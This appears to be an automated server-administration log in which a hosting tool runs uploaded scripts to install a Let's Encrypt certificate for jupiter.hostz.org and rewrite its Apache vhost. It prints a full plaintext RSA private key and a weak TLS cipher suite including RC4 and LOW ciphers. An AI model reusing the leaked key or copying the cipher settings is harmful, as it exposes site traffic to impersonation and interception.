ggEBAK6TMdxHt8IegqpqEPqH05pfG0p/yLLbX9/99P7FMnSxVrx1uwoS6dA5etJt
UBOcuumN5KgR5C2Rc2N/u4O1MOfrQip0PUmGgDQ/IBiWn4/PkGjpxSY5nmx0vDsd
GUPOtlt1NBEdODw/fBNXu+ETNzjbxsAtiXgRIe0fgjsnGVOkBdlz6bTx1vAYKtpb
cEVsA+hjj1CZg7ZcXijcUpEl3uDu8/YOkrKNiEjcDm6927ZuN/i/c0FXb92Bcf9V
J25pWRGESHWqaM5kc2X4OhYPFIe84vbogaN8usP/sKywlIbxnouAe79/AIhSvz9Q
uWpUGUEJLUfrizFGcuWC/ri/iOsCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRx
dMsZfXJqVOqlLtZLLXHfSdt//TAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj6
99Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEWp1cGl0ZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjEuYy5sZW5j
ci5vcmcvMjMuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAr2eIO1ewTt2P
ptl+9i6o64EKx3Fg8CReVdYML+eFhzoAAAGe/V2yZQAABAMARzBFAiBSoBsIrLfy
90XxK1yF9ESpF1SOpUjAb8wFSAt0VPyUHwIhAPL+X6oOtkXi/WNY1NN4exPeW89v
cuUZP5g7K7jSx04CAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScA
AAGe/V2yrQAIAAAFABD53SwEAwBHMEUCIGUoh7E535NoIGPmsY7asx+J96oA/Tu8
O+33sIwq87szAiEAgVnZKYXKd1R7Sqn3Mgx3qf0p1dc7Eh7aMZKz/3Ek75gwDQYJ
KoZIhvcNAQELBQADggEBACXzn3DaUushZ7oueenaTWq54c2ZOcRUkXYcqCb1MuEW
SeNCZ6lKufByEueSEG6Mh3fMLo5HCGPT7M9mQ0XLSzRbMXTzeQMFvJxmOHR4hMR3
mGpnojGpC82INMBEnnfhJFsaWv31HJ0+6BbGgfByOFqvnAR7rXmFWz1bQghBlZxx
bkKzpNp0c/0E7FM0CTb2+CTA2XXFHq88kBa9iQTBqYXoLg3zWnqkde5dkuOJJV4V
PjQteA1JqAt0YmdTixN+7H9foWiBnJxSu+M4UZ8ZH11a/6HY/2ewlQg/lhpm2GhO
DbLxRiMbD7Lgg3M1btPxWwaHjJjd7tJOYmxY0e+DKbs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCukzHcR7fCHoKq
ahD6h9OaXxtKf8iy21/f/fT+xTJ0sVa8dbsKEunQOXrSbVATnLrpjeSoEeQtkXNj
f7uDtTDn60IqdD1JhoA0PyAYlp+Pz5Bo6cUmOZ5sdLw7HRlDzrZbdTQRHTg8P3wT
V7vhEzc428bALYl4ESHtH4I7JxlTpAXZc+m08dbwGCraW3BFbAPoY49QmYO2XF4o
3FKRJd7g7vP2DpKyjYhI3A5uvdu2bjf4v3NBV2/dgXH/VSduaVkRhEh1qmjOZHNl
+DoWDxSHvOL26IGjfLrD/7CssJSG8Z6LgHu/fwCIUr8/ULlqVBlBCS1H64sxRnLl
gv64v4jrAgMBAAECggEAAZEytmPdGMdbVu+i0rebb7Gri2IASZLB6+naDttzANct
YdMQvci+WUSFf2lvJENDmPXReAIecUZH/zxV+5sJzbCFTzTsmUIK2UKOet9cnqw3
WKnDP6eZbicndW8PxgBkugd1qIhW8+YsqqPJUlObgE2AyELgZA01/RdLp6pJ25VZ
PX1Y9q9K8bGtUGlGzQcyn0Zo9ex5BOxRrZ+5ene+CzglGfAwhM/2xNjzYAU52+RY
ZGUKoiGKCn1/fQ1Gt7giYhGLl99X42h6lTOd5CFSMy+BSnihJ0o/QFv8363cofFO
xp/USySxX+PmqLRZXorAjEV2WFmB9JCkdKV74xziiQKBgQDYTlb5INFYyIW3UliG
6Bmie3jJy9Y4TYYo8EJtqsYl6tlx7vv0uuUzg3bZ/GZ99sFcA0RExl4ldHoLzCWN
sHoVUfn2XUn7B9nbhaSe14GRErnrf4ug+6iSJ5Fp2iBd7vdlw8ijVDk/GEGNfsuU
oPjrBQICucTz9joA/NHOnZa9rwKBgQDOnGhPRv9whr1hXNJgBZJZ97VwO8NRw6GV
/T+iGMCtqiUIciHwD4ZIhkdf07F9djHidDRjfaeOkULgO0QBvUYZvh79ye+wmm8K
BMpbGcPCw+XlWKX/S2hNMB//UQKpQydOtgy7IeML4YP5W2wE7LGWOECf+fs8QeVG
RUFrBhUThQKBgQDIAhArxiutU6VI8KyI+d6SPmde+Ms5Pn3aJubVrv4Pm4u67Qcu
sQ40RtBEGj3PJbZ/VUnv6hitu3kKpZbn4BHS2v0tz+8TXpwUfwvMEGtu8IjXeBVt
IqYplsq/vQEGumsqPxGr7LoOXGho5KBr6zifX/8O9CVoi/nwZdW+njr/YwKBgCMp
KPM84OG0fGwiUMb4i8R1zFHSSdYTVd9hnr+mOLwVNYIvcikZaz/SYjkjnJP+VlT0
c6nuy2IOxHPGgjdNj6131mxYPksurPDmic1hIBh4IBqcsHs2yQRByWA42BwYCotx
nc8G4E24Ti5UaZiY80vePNk8wI2rpSoFRTHCcjnFAoGBAINAJKTEakzQ5LeCXCNP
/bZhwy7o8KGn9hLf4pyqcOSP0K9/8Ox3Ig89T/FvHxC8jNORogIlb4ogCnjEdo35
hFMz3PHXCDGq1UKhqlsPJa3+kiKsNGhh85Gup3sVPzXwj6rwQhrwptxNt0rwNABF
BoouSmrN7z+VtDvL1t9edsHo
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-25 06:00:37: 

chmod 755 /tmp/pkp839393; /tmp/pkp839393; rm /tmp/pkp839393

2026-06-25 06:00:37: 


dir=/etc/ssl/certs


2026-06-25 06:00:37: 

PUT: /tmp/pkp377711

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_jupiter_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-25 06:00:37: 

chmod 755 /tmp/pkp377711; /tmp/pkp377711; rm /tmp/pkp377711

2026-06-25 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 41

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-25 06:00:38: 

PUT: /tmp/pkp248033

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_jupiter_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_jupiter_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_jupiter_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf= 1'
fi


2026-06-25 06:00:38: 

chmod 755 /tmp/pkp248033; /tmp/pkp248033; rm /tmp/pkp248033

2026-06-25 06:00:38: 




2026-06-25 06:00:38: 

PUT: /tmp/pkp634690

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-25 06:00:38: 

chmod 755 /tmp/pkp634690; /tmp/pkp634690; rm /tmp/pkp634690

2026-06-25 06:00:38: 


.


2026-06-25 06:00:38: Establishing a connection
2026-06-25 06:00:38: 

PUT: /tmp/pkp342326

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-25 06:00:38: 

chmod 755 /tmp/pkp342326; /tmp/pkp342326; rm /tmp/pkp342326

2026-06-25 06:00:38: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-25 06:00:38: 

PUT: /tmp/pkp965139

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_jupiter_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-25 06:00:38: 

chmod 755 /tmp/pkp965139; /tmp/pkp965139; rm /tmp/pkp965139

2026-06-25 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf	1307

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-25 06:00:38: 

PUT: /tmp/pkp633473

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-25 06:00:38: 

chmod 755 /tmp/pkp633473; /tmp/pkp633473; rm /tmp/pkp633473

2026-06-25 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	7420
b4:f1:46:1a:ba:96:4d:1c:bf:8f:19:36:f0:a5:ad:cc

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBVCsmAqlZQttMZtBmV/kixiWMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI1MDUwMjA2WhcNMjYwOTIzMDUwMjA1WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK6TMdxHt8IegqpqEPqH05pfG0p/yLLbX9/99P7FMnSxVrx1uwoS6dA5etJt
UBOcuumN5KgR5C2Rc2N/u4O1MOfrQip0PUmGgDQ/IBiWn4/PkGjpxSY5nmx0vDsd
GUPOtlt1NBEdODw/fBNXu+ETNzjbxsAtiXgRIe0fgjsnGVOkBdlz6bTx1vAYKtpb
cEVsA+hjj1CZg7ZcXijcUpEl3uDu8/YOkrKNiEjcDm6927ZuN/i/c0FXb92Bcf9V
J25pWRGESHWqaM5kc2X4OhYPFIe84vbogaN8usP/sKywlIbxnouAe79/AIhSvz9Q
uWpUGUEJLUfrizFGcuWC/ri/iOsCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRx
dMsZfXJqVOqlLtZLLXHfSdt//TAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj6
99Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEWp1cGl0ZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjEuYy5sZW5j
ci5vcmcvMjMuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAr2eIO1ewTt2P
ptl+9i6o64EKx3Fg8CReVdYML+eFhzoAAAGe/V2yZQAABAMARzBFAiBSoBsIrLfy
90XxK1yF9ESpF1SOpUjAb8wFSAt0VPyUHwIhAPL+X6oOtkXi/WNY1NN4exPeW89v
cuUZP5g7K7jSx04CAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScA
AAGe/V2yrQAIAAAFABD53SwEAwBHMEUCIGUoh7E535NoIGPmsY7asx+J96oA/Tu8
O+33sIwq87szAiEAgVnZKYXKd1R7Sqn3Mgx3qf0p1dc7Eh7aMZKz/3Ek75gwDQYJ
KoZIhvcNAQELBQADggEBACXzn3DaUushZ7oueenaTWq54c2ZOcRUkXYcqCb1MuEW
SeNCZ6lKufByEueSEG6Mh3fMLo5HCGPT7M9mQ0XLSzRbMXTzeQMFvJxmOHR4hMR3
mGpnojGpC82INMBEnnfhJFsaWv31HJ0+6BbGgfByOFqvnAR7rXmFWz1bQghBlZxx
bkKzpNp0c/0E7FM0CTb2+CTA2XXFHq88kBa9iQTBqYXoLg3zWnqkde5dkuOJJV4V
PjQteA1JqAt0YmdTixN+7H9foWiBnJxSu+M4UZ8ZH11a/6HY/2ewlQg/lhpm2GhO
DbLxRiMbD7Lgg3M1btPxWwaHjJjd7tJOYmxY0e+DKbs=
-----END CERTIFICATE-----



